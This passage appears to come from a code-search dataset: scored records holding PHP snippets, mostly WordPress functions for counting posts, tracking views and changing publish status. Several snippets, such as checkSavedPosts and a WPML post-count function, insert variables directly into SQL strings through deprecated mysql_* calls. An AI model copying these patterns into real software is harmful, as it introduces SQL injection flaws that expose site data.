$count_7_day_array = array(0 => 0, 1 => 0, 2 => 0, 3 => 0, 4 => 0, 5 => 0, 6 => 0);\n $count_7_day_array[$get_current_day] = 1;\n update_post_meta($postID, self::$post_view_counter_7_day_array, $count_7_day_array);\n }\n\n update_post_meta($postID, self::$post_view_counter_7_day_total, array_sum($count_7_day_array));\n }\n }", "title": "" }, { "docid": "9a9870f5adba721a2d5e509b62845625", "score": "0.61698663", "text": "function _update_posts_count_on_delete( $post_id ) {\n\t$post = get_post( $post_id );\n\n\tif ( ! $post || 'publish' !== $post->post_status || 'post' !== $post->post_type ) {\n\t\treturn;\n\t}\n\n\tupdate_posts_count();\n}", "title": "" }, { "docid": "45772ed7393bbf1eda3221998460ba37", "score": "0.616757", "text": "function _update_posts_count_on_transition_post_status( $new_status, $old_status, $post = null ) {\n\tif ( $new_status === $old_status ) {\n\t\treturn;\n\t}\n\n\tif ( 'post' !== get_post_type( $post ) ) {\n\t\treturn;\n\t}\n\n\tif ( 'publish' !== $new_status && 'publish' !== $old_status ) {\n\t\treturn;\n\t}\n\n\tupdate_posts_count();\n}", "title": "" }, { "docid": "7937a500be156eb2f2df7ad068d0683b", "score": "0.6158254", "text": "function getPostViews($postID){\n $count_key = 'post_views_count';\n $count = get_post_meta($postID, $count_key, true);\n if($count==''){\n delete_post_meta($postID, $count_key);\n add_post_meta($postID, $count_key, '0');\n return \"0\";\n }\n return $count;\n}", "title": "" }, { "docid": "3e87ab289d2822d9dd82b6c669522448", "score": "0.6137273", "text": "function post_count() {\r\n\tif ( get_post_author_id() ) \r\n\t\techo 'Post Count: ' . get_post_count( get_post_author_id() );\r\n\telse\r\n\t\techo 'Error';\r\n}", "title": "" }, { "docid": "02338e10b4d9228eb3cb51df8bb63dc0", "score": "0.61331254", "text": "function wpsl_remaining_cpt_count() {\n \n global $wpdb;\n \n $table = $wpdb->prefix . 'wpsl_stores';\n $count = wp_count_posts( 'wpsl_stores' );\n \n if ( isset( $count->publish ) && isset( $count->draft ) ) {\n $cpt_count = $count->publish + $count->draft;\n } else {\n $cpt_count = 0;\n }\n \n $db_count = $wpdb->get_var( \"SELECT COUNT(wpsl_id) FROM $table\" );\n $difference = $db_count - $cpt_count;\n \n /* \n * This prevents users who used the 2.0 beta, and later added \n * more stores from seeing the upgrade notice again.\n */\n $remaining = ( $difference < 0 ) ? false : $difference;\n \n return $remaining;\n}", "title": "" }, { "docid": "65347f71b2cfb5257a27422981e82127", "score": "0.6127399", "text": "function _update_blog_date_on_post_publish($new_status, $old_status, $post)\n {\n }", "title": "" }, { "docid": "27fdb899cbf188a1c09217830baa9ce6", "score": "0.6123913", "text": "function published_posts($id)\n { \n\t\t$this->db->select('post_author');\n\t\t$this->db->from($this->tabla);\n\t\t$this->db->where('post_author',$id);\n\t\t$this->db->where('post_status like \"publish\"');\n\t\treturn $this->db->count_all_results();\n }", "title": "" }, { "docid": "d6af5bbfd546307a71e75787b25f09a9", "score": "0.6098752", "text": "function block_core_calendar_update_has_published_posts() {\n\tglobal $wpdb;\n\t$has_published_posts = (bool) $wpdb->get_var( \"SELECT 1 as test FROM {$wpdb->posts} WHERE post_type = 'post' AND post_status = 'publish' LIMIT 1\" );\n\tupdate_option( 'wp_calendar_block_has_published_posts', $has_published_posts );\n\treturn $has_published_posts;\n}", "title": "" }, { "docid": "05b2674591bcd16a21eb1782d446ae12", "score": "0.6097987", "text": "function getPostViews($postID){\n $count_key = 'post_views_count';\n $count = get_post_meta($postID, $count_key, true);\n if($count==''){\n delete_post_meta($postID, $count_key);\n add_post_meta($postID, $count_key, '0');\n return 0;\n }\n return $count;\n}", "title": "" }, { "docid": "ace79fc9ba1f1aac54a7aa86f1b6d392", "score": "0.6092263", "text": "function _update_posts_count_on_delete($post_id, $post)\n {\n }", "title": "" }, { "docid": "edb6f5edd1503ce39b54ea559c4ecc45", "score": "0.6075208", "text": "public function unpublish_expired_posts() {\n $expired_posts = $this->get_expired_posts();\n foreach ( $expired_posts as $expired_post ) {\n // Only automatically unpublish if the corresponding option is enabled for this post\n if ( $expired_post->bbx_best_before_unpublish_when_expired ) {\n // Set post to draft\n wp_update_post(\n array(\n 'ID' => $expired_post->ID,\n 'post_status' => 'draft'\n )\n );\n }\n }\n }", "title": "" }, { "docid": "086d0cbfba8b62f1313dff0caa21fb65", "score": "0.6068742", "text": "public function handleFutureToPublish($post) {\n if (\"publish\" == $post->post_status) {\n $this->indexPost($post->ID);\n }\n }", "title": "" }, { "docid": "e8068b5d13d8a54e7fad536b01033e44", "score": "0.60481924", "text": "function checkSavedPosts( $crew, $access ) {\n\t\n\tif( in_array( \"p_mission\", $access ) ) {\n\t\t/* count the posts */\n\t\t$countPosts = \"SELECT postid, postTitle FROM sms_posts WHERE postAuthor = '$crew' AND postStatus = 'saved'\";\n\t\t$countPostsResult = mysql_query( $countPosts );\n\t\t$countPostsFinal = mysql_num_rows( $countPostsResult );\n\t}\n\t\n\tif( in_array( \"p_jp\", $access ) ) {\n\t\t/* count the JPs */\n\t\t$countJPs = \"SELECT postid, postTitle, postSave FROM sms_posts WHERE ( postAuthor LIKE '%,$crew,%' OR postAuthor LIKE '$crew,%' OR postAuthor LIKE '%,$crew' ) AND postStatus = 'saved'\";\n\t\t$countJPsResult = mysql_query( $countJPs );\n\t\t$countJPsFinal = mysql_num_rows( $countJPsResult );\n\t}\n\t\n\tif( in_array( \"p_log\", $access ) ) {\n\t\t/* count the personal logs */\n\t\t$countLogs = \"SELECT logid, logTitle FROM sms_personallogs WHERE logAuthor = '$crew' AND logStatus = 'saved'\";\n\t\t$countLogsResult = mysql_query( $countLogs );\n\t\t$countLogsFinal = mysql_num_rows( $countLogsResult );\n\t}\n\t\n\tif( in_array( \"p_news\", $access ) ) {\n\t\t/* count the news items */\n\t\t$countNews = \"SELECT newsid, newsTitle FROM sms_news WHERE newsAuthor = '$crew' AND newsStatus = 'saved'\";\n\t\t$countNewsResult = mysql_query( $countNews );\n\t\t$countNewsFinal = mysql_num_rows( $countNewsResult );\n\t}\n\n\t/* add up all the counts to get the final count */\n\t$count = ( $countPostsFinal + $countJPsFinal + $countLogsFinal + $countNewsFinal );\n\n\t/* do some logic to determine the plurality */\n\tif( $count == \"1\" ) {\n\t\t$countPlural = \"entry\";\n\t} elseif( $count > \"1\" ) {\n\t\t$countPlural = \"entries\";\n\t}\n\t\n\tif( $count > \"0\" ) {\n\t\techo \"<br />\";\n\t\techo \"<div class='update'>\";\n\t\t\techo \"<img src='\" . WEBLOC . \"images/saved.png' border='0' alt='' style='float:left; padding: 0 12px 0 0;' />\";\n\t\t\techo \"<span class='fontTitle'>\" . $count . \" Saved \" . ucwords( $countPlural ) . \"</span>\";\n\n\t\t\techo \"<br /><br />\";\n\t\t\techo \"<table>\";\n\n\t\t\tif( $countPostsFinal > \"0\" ) {\n\t\t\t\techo \"<tr>\";\n\t\t\t\t\techo \"<td><b>Mission Posts</b></td>\";\n\t\t\t\techo \"</tr>\";\n\t\t\t\t\n\t\t\t\twhile( $postFetch = mysql_fetch_array( $countPostsResult ) ) {\n\t\t\t\t\textract( $postFetch, EXTR_OVERWRITE );\n\t\t\t\t\t\n\t\t\t\t\techo \"<tr>\";\n\t\t\t\t\t\techo \"<td class='fontNormal'><a href='\" . WEBLOC . \"admin.php?page=post&sub=mission&id=\" . $postFetch['postid'] . \"'>\";\n\t\t\t\t\t\t\n\t\t\t\t\t\tif( !empty( $postFetch['postTitle'] ) ) {\n\t\t\t\t\t\t\techo $postFetch['postTitle'];\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\techo \"<i>[ No Subject ]</i>\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\techo \" &raquo;</a></td>\";\n\t\t\t\t\techo \"</tr>\";\n\n\t\t\t\t}\n\n\t\t\t\techo \"<tr><td height='5'></td></tr>\";\n\t\t\t} if( $countJPsFinal > 0 ) {\n\t\t\t\techo \"<tr>\";\n\t\t\t\t\techo \"<td><b>Joint Mission Posts</b></td>\";\n\t\t\t\techo \"</tr>\";\n\t\t\t\t\n\t\t\t\twhile( $jpFetch = mysql_fetch_array( $countJPsResult ) ) {\n\t\t\t\t\textract( $jpFetch, EXTR_OVERWRITE );\n\n\t\t\t\t\techo \"<tr>\";\n\t\t\t\t\t\techo \"<td class='fontNormal'>\";\n\t\t\t\t\t\t\n\t\t\t\t\t\tif( $postSave > 0 ) {\n\t\t\t\t\t\t\tif( $postSave == $crew ) { } else {\n\t\t\t\t\t\t\t\techo \"<img src='\" . WEBLOC . \"images/message-unread-icon.png' border='0' alt='' /> &nbsp;\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\techo \"<a href='\" . WEBLOC . \"admin.php?page=post&sub=jp&id=\" . $jpFetch['postid'] . \"'>\";\n\t\t\t\t\t\t\n\t\t\t\t\t\tif( !empty( $jpFetch['postTitle'] ) ) {\n\t\t\t\t\t\t\techo $jpFetch['postTitle'];\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\techo \"<i>[ No Subject ]</i>\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\techo \" &raquo;</a></td>\";\n\t\t\t\t\techo \"</tr>\";\n\n\t\t\t\t}\n\n\t\t\t\techo \"<tr><td height='5'></td></tr>\";\n\t\t\t} if( $countLogsFinal > \"0\" ) {\n\t\t\t\techo \"<tr>\";\n\t\t\t\t\techo \"<td><b>Personal Logs</b></td>\";\n\t\t\t\techo \"</tr>\";\n\t\t\t\t\n\t\t\t\twhile( $logFetch = mysql_fetch_array( $countLogsResult ) ) {\n\t\t\t\t\textract( $logFetch, EXTR_OVERWRITE );\n\n\t\t\t\t\techo \"<tr>\";\n\t\t\t\t\t\techo \"<td class='fontNormal'><a href='\" . WEBLOC . \"admin.php?page=post&sub=log&id=\" . $logFetch['logid'] . \"'>\";\n\t\t\t\t\t\t\n\t\t\t\t\t\tif( !empty( $logFetch['logTitle'] ) ) {\n\t\t\t\t\t\t\techo $logFetch['logTitle'];\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\techo \"<i>[ No Subject ]</i>\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\techo \" &raquo;</a></td>\";\n\t\t\t\t\techo \"</tr>\";\n\n\t\t\t\t}\n\n\t\t\t\techo \"<tr><td height='5'></td></tr>\";\n\t\t\t} if( $countNewsFinal > \"0\" ) {\n\t\t\t\techo \"<tr>\";\n\t\t\t\t\techo \"<td><b>News Items</b></td>\";\n\t\t\t\techo \"</tr>\";\n\t\t\t\t\n\t\t\t\twhile( $newsFetch = mysql_fetch_array( $countNewsResult ) ) {\n\t\t\t\t\textract( $newsFetch, EXTR_OVERWRITE );\n\n\t\t\t\t\techo \"<tr>\";\n\t\t\t\t\t\techo \"<td class='fontNormal'><a href='\" . WEBLOC . \"admin.php?page=post&sub=news&id=\" . $newsFetch['newsid'] . \"'>\";\n\t\t\t\t\t\t\n\t\t\t\t\t\tif( !empty( $newsFetch['newsTitle'] ) ) {\n\t\t\t\t\t\t\techo $newsFetch['newsTitle'];\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\techo \"<i>[ No Subject ]</i>\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\techo \" &raquo;</a></td>\";\n\t\t\t\t\techo \"</tr>\";\n\n\t\t\t\t}\n\n\t\t\t\techo \"<tr><td height='5'></td></tr>\";\n\t\t\t}\n\n\t\t\techo \"</table>\";\n\t\t\t\n\t\techo \"</div>\";\n\t}\n\n}", "title": "" }, { "docid": "e24ae56b45299d2a6f371e75b3969584", "score": "0.60405904", "text": "function appthemes_stats_counter($post_id) {\r\n\tglobal $wpdb, $nowisnow;\r\n\r\n\t// get all the post view info to display\r\n\t$sql = $wpdb->prepare(\"\r\n\t\tSELECT t.postcount AS total, count(d.postcount) AS today\r\n\t\tFROM $wpdb->app_pop_total AS t\r\n\t\tINNER JOIN $wpdb->app_pop_daily AS d ON t.postnum = d.postnum\r\n\t\tWHERE t.postnum = %d AND d.time = %s GROUP BY total\r\n\t\", $post_id, $nowisnow);\r\n\r\n\t$results = $wpdb->get_row($sql);\r\n\r\n\tif($results)\r\n\t\techo number_format($results->total) . '&nbsp;' .__('total views', 'appthemes') . ', ' . number_format($results->today) . '&nbsp;' .__('today', 'appthemes');\r\n\telse\r\n\t\techo __('No views yet', 'appthemes');\r\n}", "title": "" }, { "docid": "d8abaa3e62f989d912f6ff47ac3ac117", "score": "0.6031567", "text": "function getPostViews($postID){\n $count_key = 'post_views_count';\n $count = get_post_meta($postID, $count_key, true);\n if($count==''){\n delete_post_meta($postID, $count_key);\n add_post_meta($postID, $count_key, '0');\n return \"0 Views\";\n }\n return $count.' Views';\n}", "title": "" }, { "docid": "97914792198613fa578dc6a8faec2d18", "score": "0.6030182", "text": "function block_core_calendar_has_published_posts() {\n\t// Multisite already has an option that stores the count of the published posts.\n\t// Let's use that for multisites.\n\tif ( is_multisite() ) {\n\t\treturn 0 < (int) get_option( 'post_count' );\n\t}\n\n\t// On single sites we try our own cached option first.\n\t$has_published_posts = get_option( 'wp_calendar_block_has_published_posts', null );\n\tif ( null !== $has_published_posts ) {\n\t\treturn (bool) $has_published_posts;\n\t}\n\n\t// No cache hit, let's update the cache and return the cached value.\n\treturn block_core_calendar_update_has_published_posts();\n}", "title": "" }, { "docid": "ed05bc1205e8fb7bdb94581f5c6a13c8", "score": "0.60294026", "text": "function getPostViews($postID){\r\n $count_key = 'post_views_count';\r\n $count = get_post_meta($postID, $count_key, true);\r\n if($count==''){\r\n delete_post_meta($postID, $count_key);\r\n add_post_meta($postID, $count_key, '0');\r\n return \"0 visualizações\";\r\n }\r\n return $count.' visualizações';\r\n}", "title": "" }, { "docid": "00ddbff5d4be1990a576ae1eaac2da44", "score": "0.6016201", "text": "function clear_unknown_post_metas()\n {\n global $wpdb;\n\n $query = \"SELECT count(*) FROM {$wpdb->postmeta} WHERE ( meta_key LIKE 'prli%' OR meta_key LIKE 'pretty-link%' OR meta_key LIKE '_prli%' OR meta_key LIKE '_pretty-link%' ) AND post_id=0\";\n $count = $wpdb->get_var($query);\n\n if($count)\n {\n $query = \"DELETE FROM {$wpdb->postmeta} WHERE ( meta_key LIKE 'prli%' OR meta_key LIKE 'pretty-link%' OR meta_key LIKE '_prli%' OR meta_key LIKE '_pretty-link%' ) AND post_id=0\";\n $wpdb->query($query);\n }\n }", "title": "" }, { "docid": "35f90537140b69353729ba11333f9d6f", "score": "0.6009663", "text": "function wpb_set_post_views($postID) {\n $count_key = 'wpb_post_views_count';\n $count = get_post_meta($postID, $count_key, true);\n if($count==''){\n $count = 0;\n delete_post_meta($postID, $count_key);\n add_post_meta($postID, $count_key, '0');\n }else{\n $count++;\n update_post_meta($postID, $count_key, $count);\n }\n}", "title": "" }, { "docid": "2b9b63da5f298d90781884b8f6de78b0", "score": "0.6003637", "text": "public function getPostCount();", "title": "" }, { "docid": "e55d5a7f20b5e633f470cbd80ece9050", "score": "0.60027564", "text": "function tptn_rss_filter( $content ) {\n\tglobal $post;\n\n\t$id = intval( $post->ID );\n\n\t$add_to = tptn_get_option( 'add_to', false );\n\n\tif ( ! empty( $add_to['feed'] ) ) {\n\t\treturn $content . '<div class=\"tptn_counter\" id=\"tptn_counter_' . $id . '\">' . get_tptn_post_count( $id ) . '</div>';\n\t} else {\n\t\treturn $content;\n\t}\n}", "title": "" }, { "docid": "337ea67f0b9f44805db5f9fee7555b1f", "score": "0.59843403", "text": "public function iN_CalculateNonApprovedPosts() {\n\t\t$query = mysqli_query($this->db, \"SELECT COUNT(*) AS nonApprovedPost FROM i_posts WHERE post_status = '2' AND who_can_see = '4'\") or die(mysqli_error($this->db));\n\t\t$row = mysqli_fetch_array($query, MYSQLI_ASSOC);\n\t\treturn isset($row['nonApprovedPost']) ? $row['nonApprovedPost'] : '0';\n\t}", "title": "" }, { "docid": "1d0d94df052248aa049ebfef9d2023f0", "score": "0.5973428", "text": "function netrics_clear_month_data( $query_ids = null ) {\n if ( ! isset( $query_ids->posts ) ) {\n $query_ids = netrics_get_pubs_ids( 2000 );\n }\n\n $log = '';\n foreach ( $query_ids->posts as $post_id ) {\n $del_articles = delete_post_meta( $post_id, 'nn_articles_new' );\n $del_errors = delete_post_meta( $post_id, 'nn_error' );\n $del_flag = wp_remove_object_terms( $post_id, array( 6178, 6179 ), 'flag' ); //'0Feed' and '1PageSpeed'.\n\n $log .= \"$post_id $del_articles/$del_errors/$del_flag\";\n }\n\n return $log;\n}", "title": "" }, { "docid": "3844f3f4123d8961ee9ea2bbccb14dfe", "score": "0.5967171", "text": "public function countUnpublishedNodes() {\n // Count migrated, unpublished nodes.\n $map_table = $this->map->getMapTable();\n $query = db_query(\"SELECT COUNT(n.nid) FROM {node} n RIGHT JOIN {$map_table} m ON m.destid1 = n.nid WHERE n.status = 0\");\n\n return $query->fetchField();\n }", "title": "" }, { "docid": "653a6faad0c5b46ef21cff7d0dfaa169", "score": "0.59636414", "text": "public function decrementNumPosts()\n {\n $this->numPosts--;\n }", "title": "" }, { "docid": "2ded27bcf2975f274d3eb97e3b79d69d", "score": "0.5947638", "text": "function count_post_views($postID) {\n \n $count_key = 'wpb_post_views_count';\n $count = get_post_meta($postID, $count_key, true);\n \n if($count==''){\n \n $count = 0;\n delete_post_meta($postID, $count_key);\n add_post_meta($postID, $count_key, '0');\n \n }else{\n \n $count++;\n update_post_meta($postID, $count_key, $count);\n }\n }", "title": "" }, { "docid": "89d5f68e1e4ff76ce9a1e52bd51903ab", "score": "0.59449625", "text": "function count_posts($language_code = '', $post_type = 'post', $post_status = 'publish'){\n\n\tglobal $sitepress, $wpdb;\n\n\t//get default language code\n\t$default_language_code = $sitepress->get_default_language();\n\n\t//adjust post type to format WPML uses \n\tswitch($post_type){\n\t\tcase 'page':\n\t\t\t$post_type = 'post_page';\n\t\tbreak;\t\t\n\t\tcase 'post':\n\t\t\t$post_type = 'post_post';\n\t\tbreak;\n\t\tcase 'download':\n\t\t\t$post_type = 'post_download';\n\t\tbreak;\n\t}\n\t\n\t//are we dealing with originals or translations?\n\t$slc_param = $sitepress->get_default_language() == $language_code ? \"IS NULL\" : \"= '{$default_language_code}'\";\n\n\t$query = \"SELECT COUNT( {$wpdb->prefix}posts.ID )\n\t\t\t\tFROM {$wpdb->prefix}posts\n\t\t\t\tLEFT JOIN {$wpdb->prefix}icl_translations ON {$wpdb->prefix}posts.ID = {$wpdb->prefix}icl_translations.element_id\n\t\t\t\tWHERE {$wpdb->prefix}icl_translations.language_code = '{$language_code}'\n\t\t\t\tAND {$wpdb->prefix}icl_translations.source_language_code $slc_param\n\t\t\t\tAND {$wpdb->prefix}icl_translations.element_type = '{$post_type}'\n\t\t\t\tAND {$wpdb->prefix}posts.post_status = '$post_status'\";\n\nreturn $wpdb->get_var( $query );\n}", "title": "" }, { "docid": "46b09a3f60d257da5e4a1532e1655388", "score": "0.5942541", "text": "public function unPublish($post_id)\n\t{\n\t\t$q = \"UPDATE in_posts \";\n\t\t$q .= \"SET publish_flag=0 WHERE id=:post_id\";\n\t\t$vars = array(\n\t\t\t':post_id'=>$post_id\n\t\t);\n\t\t//$this->logger->logInfo($q);\n\t\t$ps = $this->execute($q, $vars);\n\t}", "title": "" }, { "docid": "41e0e5f5526083f7c4b442964e918999", "score": "0.59417605", "text": "function quasar_get_post_views(){\n\tglobal $post;\n\tif(!$post) return;\n\t\n\t$count_key = 'post_views_count';\n\t$count = get_post_meta($post->ID, $count_key, true);\n\tif ($count == '') {\n\t\tdelete_post_meta($post->ID, $count_key);\n\t\tadd_post_meta($post->ID, $count_key, '0');\n\t\treturn \"0\".__(' View', 'quasar');\n\t}\n\t\n\t$return = $count.__(' View', 'quasar');\n\t\n\treturn $return;\n}", "title": "" }, { "docid": "ea8beed091ea7152a19a2fb3492fd11d", "score": "0.5923794", "text": "function update_post_counts($response){\r\n \t$count_key = 'post_views_count';\r\n \t$success = 0;\r\n \t$failure = 0;\r\n \tforeach ($response as $item){\r\n\t \t$post_id = $item[\"post_id\"];\r\n\t \tif(update_post_meta($post_id, $count_key, $item[\"views\"])) {\r\n\t \t\t$success++;\r\n\t \t} else {\r\n\t \t\t$failure++;\r\n\t \t}\r\n\t\t}\r\n\r\n\t\treturn array('success' => $success, 'failure' => $failure);\r\n\t}", "title": "" }, { "docid": "75d25f1eb6181aa1e6443bd844e8e64b", "score": "0.59228545", "text": "function quasar_set_post_views(){\n\tglobal $post;\n\tif(!$post) return;\n\t\n\tif(!is_single()) return;\n\t\n\t$count_key = 'post_views_count';\n\t$count = get_post_meta($post->ID, $count_key, true);\n\tif ($count == '') {\n\t\t$count = 0;\n\t\tdelete_post_meta($post->ID, $count_key);\n\t\tadd_post_meta($post->ID, $count_key, '0');\n\t} else {\n\t\t$count++;\n\t\tupdate_post_meta($post->ID, $count_key, $count);\n\t}\n}", "title": "" }, { "docid": "ff258794765ef937ebbb3b3b0f00672a", "score": "0.59216714", "text": "public function update_topic_postcount($hard_delete = false)\n\t{\n\t\t// shouldn't need to load through load() to delete it...\n\t\tif ($hard_delete && empty($this->sql_data))\n\t\t{\n\t\t\t$this->sql_data = $this->__get_array();\n\t\t}\n\n\t\tif ($this->post_id && empty($this->sql_data))\n\t\t{\n\t\t\tthrow new exception('Modifying a post requires you load it through the load() function (we require the original information).');\n\t\t}\n\n\t\t// Get the current count\n\t\t$to_db = count::from_db($this->topic->topic_posts, false);\n\n\t\t// Revert the old count from this post\n\t\tif ($this->post_id)\n\t\t{\n\t\t\tif ($this->sql_data['post_deleted'] != 0)\n\t\t\t{\n\t\t\t\t$to_db['deleted']--;\n\t\t\t}\n\t\t\telse if (!$this->sql_data['post_approved'])\n\t\t\t{\n\t\t\t\t$to_db['unapproved']--;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tswitch ($this->sql_data['post_access'])\n\t\t\t\t{\n\t\t\t\t\tcase access::PUBLIC_LEVEL :\n\t\t\t\t\t\t$to_db['public']--;\n\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase access::AUTHOR_LEVEL :\n\t\t\t\t\t\t$to_db['authors']--;\n\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase access::TEAM_LEVEL :\n\t\t\t\t\t\t$to_db['teams']--;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Then recount those options for this post if we are not hard deleting it.\n\t\tif (!$hard_delete)\n\t\t{\n\t\t\tif ($this->post_deleted != 0)\n\t\t\t{\n\t\t\t\t$to_db['deleted']++;\n\t\t\t}\n\t\t\telse if (!$this->post_approved)\n\t\t\t{\n\t\t\t\t$to_db['unapproved']++;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tswitch ($this->post_access)\n\t\t\t\t{\n\t\t\t\t\tcase access::PUBLIC_LEVEL :\n\t\t\t\t\t\t$to_db['public']++;\n\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase access::AUTHOR_LEVEL :\n\t\t\t\t\t\t$to_db['authors']++;\n\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase access::TEAM_LEVEL :\n\t\t\t\t\t\t$to_db['teams']++;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Update the field on the topic\n\t\t$this->topic->topic_posts = count::to_db($to_db);\n\t}", "title": "" }, { "docid": "f20b89780916ba00918743abc9eff97b", "score": "0.5921667", "text": "function wpb_set_post_views( $postID ) {\n $count_key = 'wpb_post_views_count';\n $count = get_post_meta( $postID, $count_key, true );\n\n if( $count=='' ){\n $count = 0;\n delete_post_meta( $postID, $count_key );\n add_post_meta( $postID, $count_key, '0' );\n }else{\n $count++;\n update_post_meta( $postID, $count_key, $count );\n }\n}", "title": "" }, { "docid": "aba71f13d241ca0a55c2ff442e7d63c4", "score": "0.59113497", "text": "public function pages_awaiting_publishing()\n {\n if(isset($this->pages_awaiting_publishing)) return $this->pages_awaiting_publishing;\n $this->pages_awaiting_publishing = 0;\n \n $events_to_publish = array();\n $result = $this->mysqli_slave->query(\"SELECT he.resource_id, max(he.id) max FROM harvest_events he GROUP BY he.resource_id\");\n while($result && $row=$result->fetch_assoc())\n {\n $harvest_event = new HarvestEvent($row['max']);\n if(!$harvest_event->published_at) $events_to_publish[] = $harvest_event->id;\n }\n \n $result = $this->mysqli_slave->query(\"SELECT COUNT(DISTINCT(tc.id)) count FROM harvest_events_hierarchy_entries hehe JOIN hierarchy_entries he ON (hehe.hierarchy_entry_id=he.id) JOIN taxon_concepts tc ON (he.taxon_concept_id=tc.id) WHERE hehe.harvest_event_id IN (\".implode($events_to_publish, \",\").\") AND tc.published=0 AND tc.vetted_id=\". Vetted::find(\"trusted\"));\n if($result && $row=$result->fetch_assoc()) $this->pages_awaiting_publishing = $row['count'];\n return $this->pages_awaiting_publishing;\n }", "title": "" }, { "docid": "f8d76de9072dd8fb9de0d9f15f63272b", "score": "0.5909162", "text": "function cpt_to_at_a_glance() {\n $post_types = get_post_types( array( 'public' => true, '_builtin' => false ), 'objects' );\n foreach ( $post_types as $post_type ) {\n $num_posts = wp_count_posts( $post_type->name );\n $num = number_format_i18n( $num_posts->publish );\n $text = _n( $post_type->labels->singular_name, $post_type->labels->name, $num_posts->publish );\n if ( current_user_can( 'edit_posts' ) ) {\n $num = '<li class=\"post-count\"><a href=\"edit.php?post_type=' . $post_type->name . '\">' . $num . ' ' . $text . '</a></li>';\n }\n echo $num;\n }\n }", "title": "" }, { "docid": "470f98c5a32c1682bf452bcc7e2dc0d2", "score": "0.59082204", "text": "public function iN_CalculateAllUnReadReportedPosts() {\n\t\t$query = mysqli_query($this->db, \"SELECT COUNT(*) AS psts FROM i_post_reports WHERE report_status = '0' \") or die(mysqli_error($this->db));\n\t\t$row = mysqli_fetch_array($query, MYSQLI_ASSOC);\n\t\treturn isset($row['psts']) ? $row['psts'] : '0';\n\t}", "title": "" }, { "docid": "b88b68713b78a07da88e43930ef9618c", "score": "0.5903909", "text": "function setPostViews($postID) {\n $countKey = 'post_views_count';\n $count = get_post_meta($postID, $countKey, true);\n // die(var_dump($count));\n if($count==''){\n $count = 0;\n delete_post_meta($postID, $countKey);\n add_post_meta($postID, $countKey, '0');\n }else{\n $count++;\n update_post_meta($postID, $countKey, $count);\n }\n}", "title": "" }, { "docid": "7bf46c76f8489d89874fd293fa1587ee", "score": "0.5901564", "text": "function block_core_calendar_update_has_published_post_on_delete($post_id)\n {\n }", "title": "" }, { "docid": "dfb077cef1901202b36e4b758a1076e0", "score": "0.59002167", "text": "function appthemes_stats_update($post_id) {\r\n\tglobal $wpdb, $app_abbr, $nowisnow;\r\n\r\n\t$thepost = get_post($post_id);\r\n\r\n\tif ($thepost->post_author==get_current_user_id()) return;\r\n\r\n\t// first try and update the existing total post counter\r\n\t$results = $wpdb->query( $wpdb->prepare(\"UPDATE $wpdb->app_pop_total SET postcount = postcount+1 WHERE postnum = %s LIMIT 1\", $post_id) );\r\n\r\n\t// if it doesn't exist, then insert two new records\r\n\t// one in the total views, another in today's views\r\n\tif ($results == 0) {\r\n\t\t$wpdb->insert($wpdb->app_pop_total, array(\r\n\t\t\t\"postnum\" => $post_id,\r\n\t\t\t\"postcount\" => 1\r\n\t\t));\r\n\t\t$wpdb->insert($wpdb->app_pop_daily, array(\r\n\t\t\t\"time\" => $nowisnow,\r\n\t\t\t\"postnum\" => $post_id,\r\n\t\t\t\"postcount\" => 1\r\n\t\t));\r\n\t// post exists so let's just update the counter\r\n\t} else {\r\n\t\t$results2 = $wpdb->query( $wpdb->prepare(\"UPDATE $wpdb->app_pop_daily SET postcount = postcount+1 WHERE time = %s AND postnum = %s LIMIT 1\", $nowisnow, $post_id) );\r\n\r\n\t\t// insert a new record since one hasn't been created for current day\r\n\t\tif ($results2 == 0){\r\n\t\t\t$wpdb->insert($wpdb->app_pop_daily, array(\r\n\t\t\t\t\"time\" => $nowisnow,\r\n\t\t\t\t\"postnum\" => $post_id,\r\n\t\t\t\t\"postcount\" => 1\r\n\t\t\t));\r\n\t\t}\r\n\t}\r\n\r\n\t// get all the post view info so we can update meta fields\r\n\t$sql = $wpdb->prepare(\"\r\n\t\tSELECT t.postcount AS total, d.postcount AS today\r\n\t\tFROM $wpdb->app_pop_total AS t\r\n\t\tINNER JOIN $wpdb->app_pop_daily AS d ON t.postnum = d.postnum\r\n\t\tWHERE t.postnum = %s AND d.time = %s\r\n\t\", $post_id, $nowisnow);\r\n\r\n\t$row = $wpdb->get_row($sql);\r\n\r\n\t// add the counters to temp values on the post so it's easy to call from the loop\r\n\tupdate_post_meta($post_id, $app_abbr.'_daily_count', $row->today);\r\n\tupdate_post_meta($post_id, $app_abbr.'_total_count', $row->total);\r\n}", "title": "" }, { "docid": "88aa4cf0c952283aa3ee262d6466120b", "score": "0.5896571", "text": "function _update_posts_count_on_transition_post_status($new_status, $old_status, $post = \\null)\n {\n }", "title": "" }, { "docid": "17b5cf365232bf49cf0d69652da79474", "score": "0.5881738", "text": "function teamplatic_view_counter()\r\n{\r\n $settings = get_option( \"templatic_settings\" ); \t\r\n if(isset($settings['templatic_view_counter']) && $settings['templatic_view_counter']=='Yes')\r\n {\t\r\n\t\tglobal $post;\r\n\t\tview_counter_single_post($post->ID);\r\n\t\tview_count('');\r\n } \r\n //view_sharing_buttons('');\r\n tevolution_socialmedia_sharelink();\r\n\t\r\n}", "title": "" }, { "docid": "b63ff019fc9aa5580397140c8a528623", "score": "0.5880788", "text": "function wprss_old_truncate_posts() {\n global $wpdb;\n $general_settings = get_option( 'wprss_settings_general' );\n\n if ( 